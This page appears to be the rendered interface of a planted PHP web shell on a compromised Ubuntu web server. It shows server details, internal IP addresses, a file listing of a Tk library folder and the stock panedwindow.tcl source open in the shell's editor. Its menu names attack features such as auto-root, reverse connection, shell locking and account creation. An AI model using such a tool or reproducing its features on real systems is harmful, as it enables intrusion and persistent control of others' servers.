Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
miniconda3 /
python /
lib /
tk8.6 /
[ HOME SHELL ]
Name
Size
Permission
Action
demos
[ DIR ]
drwxrwxr-x
images
[ DIR ]
drwxrwxr-x
msgs
[ DIR ]
drwxrwxr-x
ttk
[ DIR ]
drwxrwxr-x
bgerror.tcl
8.33
KB
-rw-rw-r--
button.tcl
20.34
KB
-rw-rw-r--
choosedir.tcl
9.47
KB
-rw-rw-r--
clrpick.tcl
20.84
KB
-rw-rw-r--
comdlg.tcl
8.17
KB
-rw-rw-r--
console.tcl
31.44
KB
-rw-rw-r--
dialog.tcl
5.68
KB
-rw-rw-r--
entry.tcl
17.82
KB
-rw-rw-r--
focus.tcl
4.74
KB
-rw-rw-r--
fontchooser.tcl
17.36
KB
-rw-rw-r--
iconlist.tcl
16.35
KB
-rw-rw-r--
icons.tcl
10.63
KB
-rw-rw-r--
listbox.tcl
14.35
KB
-rw-rw-r--
megawidget.tcl
9.34
KB
-rw-rw-r--
menu.tcl
37.92
KB
-rw-rw-r--
mkpsenc.tcl
28.66
KB
-rw-rw-r--
msgbox.tcl
15.98
KB
-rw-rw-r--
obsolete.tcl
5.46
KB
-rw-rw-r--
optMenu.tcl
1.55
KB
-rw-rw-r--
palette.tcl
7.98
KB
-rw-rw-r--
panedwindow.tcl
5.05
KB
-rw-rw-r--
pkgIndex.tcl
150
B
-rw-rw-r--
safetk.tcl
7.2
KB
-rw-rw-r--
scale.tcl
8.19
KB
-rw-rw-r--
scrlbar.tcl
12.43
KB
-rw-rw-r--
spinbox.tcl
15.58
KB
-rw-rw-r--
tclIndex
19.79
KB
-rw-rw-r--
tearoff.tcl
4.36
KB
-rw-rw-r--
text.tcl
33.15
KB
-rw-rw-r--
tk.tcl
23.06
KB
-rw-rw-r--
tkAppInit.c
4.51
KB
-rw-rw-r--
tkfbox.tcl
37.47
KB
-rw-rw-r--
unsupported.tcl
10.01
KB
-rw-rw-r--
xmfbox.tcl
25.39
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : panedwindow.tcl
# panedwindow.tcl -- # # This file defines the default bindings for Tk panedwindow widgets and # provides procedures that help in implementing those bindings. bind Panedwindow <Button-1> { ::tk::panedwindow::MarkSash %W %x %y 1 } bind Panedwindow <Button-2> { ::tk::panedwindow::MarkSash %W %x %y 0 } bind Panedwindow <B1-Motion> { ::tk::panedwindow::DragSash %W %x %y 1 } bind Panedwindow <B2-Motion> { ::tk::panedwindow::DragSash %W %x %y 0 } bind Panedwindow <ButtonRelease-1> {::tk::panedwindow::ReleaseSash %W 1} bind Panedwindow <ButtonRelease-2> {::tk::panedwindow::ReleaseSash %W 0} bind Panedwindow <Motion> { ::tk::panedwindow::Motion %W %x %y } bind Panedwindow <Leave> { ::tk::panedwindow::Leave %W } # Initialize namespace namespace eval ::tk::panedwindow {} # ::tk::panedwindow::MarkSash -- # # Handle marking the correct sash for possible dragging # # Arguments: # w the widget # x widget local x coord # y widget local y coord # proxy whether this should be a proxy sash # Results: # None # proc ::tk::panedwindow::MarkSash {w x y proxy} { variable ::tk::Priv if {[$w cget -opaqueresize]} { set proxy 0 } set what [$w identify $x $y] if { [llength $what] == 2 } { lassign $what index which if {!$::tk_strictMotif || $which eq "handle"} { if {!$proxy} { $w sash mark $index $x $y } set Priv(sash) $index lassign [$w sash coord $index] sx sy set Priv(dx) [expr {$sx-$x}] set Priv(dy) [expr {$sy-$y}] # Do this to init the proxy location DragSash $w $x $y $proxy } } } # ::tk::panedwindow::DragSash -- # # Handle dragging of the correct sash # # Arguments: # w the widget # x widget local x coord # y widget local y coord # proxy whether this should be a proxy sash # Results: # Moves sash # proc ::tk::panedwindow::DragSash {w x y proxy} { variable ::tk::Priv if {[$w cget -opaqueresize]} { set proxy 0 } if {[info exists Priv(sash)]} { if {$proxy} { $w proxy place [expr {$x+$Priv(dx)}] [expr {$y+$Priv(dy)}] } else { $w sash place $Priv(sash) \ [expr {$x+$Priv(dx)}] [expr {$y+$Priv(dy)}] } } } # ::tk::panedwindow::ReleaseSash -- # # Handle releasing of the sash # # Arguments: # w the widget # proxy whether this should be a proxy sash # Results: # Returns ... # proc ::tk::panedwindow::ReleaseSash {w proxy} { variable ::tk::Priv if {[$w cget -opaqueresize]} { set proxy 0 } if {[info exists Priv(sash)]} { if {$proxy} { lassign [$w proxy coord] x y $w sash place $Priv(sash) $x $y $w proxy forget } unset Priv(sash) Priv(dx) Priv(dy) } } # ::tk::panedwindow::Motion -- # # Handle motion on the widget. This is used to change the cursor # when the user moves over the sash area. # # Arguments: # w the widget # x widget local x coord # y widget local y coord # Results: # May change the cursor. Sets up a timer to verify that we are still # over the widget. # proc ::tk::panedwindow::Motion {w x y} { variable ::tk::Priv set id [$w identify $x $y] if {([llength $id] == 2) && \ (!$::tk_strictMotif || [lindex $id 1] eq "handle")} { if {![info exists Priv($w,panecursor)]} { set Priv($w,panecursor) [$w cget -cursor] if {[$w cget -sashcursor] ne ""} { $w configure -cursor [$w cget -sashcursor] } elseif {[$w cget -orient] eq "horizontal"} { $w configure -cursor sb_h_double_arrow } else { $w configure -cursor sb_v_double_arrow } if {[info exists Priv($w,pwAfterId)]} { after cancel $Priv($w,pwAfterId) } set Priv($w,pwAfterId) [after 150 \ [list ::tk::panedwindow::Cursor $w]] } return } if {[info exists Priv($w,panecursor)]} { $w configure -cursor $Priv($w,panecursor) unset Priv($w,panecursor) } } # ::tk::panedwindow::Cursor -- # # Handles returning the normal cursor when we are no longer over the # sash area. This needs to be done this way, because the panedwindow # won't see Leave events when the mouse moves from the sash to a # paned child, although the child does receive an Enter event. # # Arguments: # w the widget # Results: # May restore the default cursor, or schedule a timer to do it. # proc ::tk::panedwindow::Cursor {w} { variable ::tk::Priv # Make sure to check window existence in case it is destroyed. if {[info exists Priv($w,panecursor)] && [winfo exists $w]} { if {[winfo containing [winfo pointerx $w] [winfo pointery $w]] eq $w} { set Priv($w,pwAfterId) [after 150 \ [list ::tk::panedwindow::Cursor $w]] } else { $w configure -cursor $Priv($w,panecursor) unset Priv($w,panecursor) if {[info exists Priv($w,pwAfterId)]} { after cancel $Priv($w,pwAfterId) unset Priv($w,pwAfterId) } } } } # ::tk::panedwindow::Leave -- # # Return to default cursor when leaving the pw widget. # # Arguments: # w the widget # Results: # Restores the default cursor # proc ::tk::panedwindow::Leave {w} { variable ::tk::Priv if {[info exists Priv($w,panecursor)]} { $w configure -cursor $Priv($w,panecursor) unset Priv($w,panecursor) } }
Close
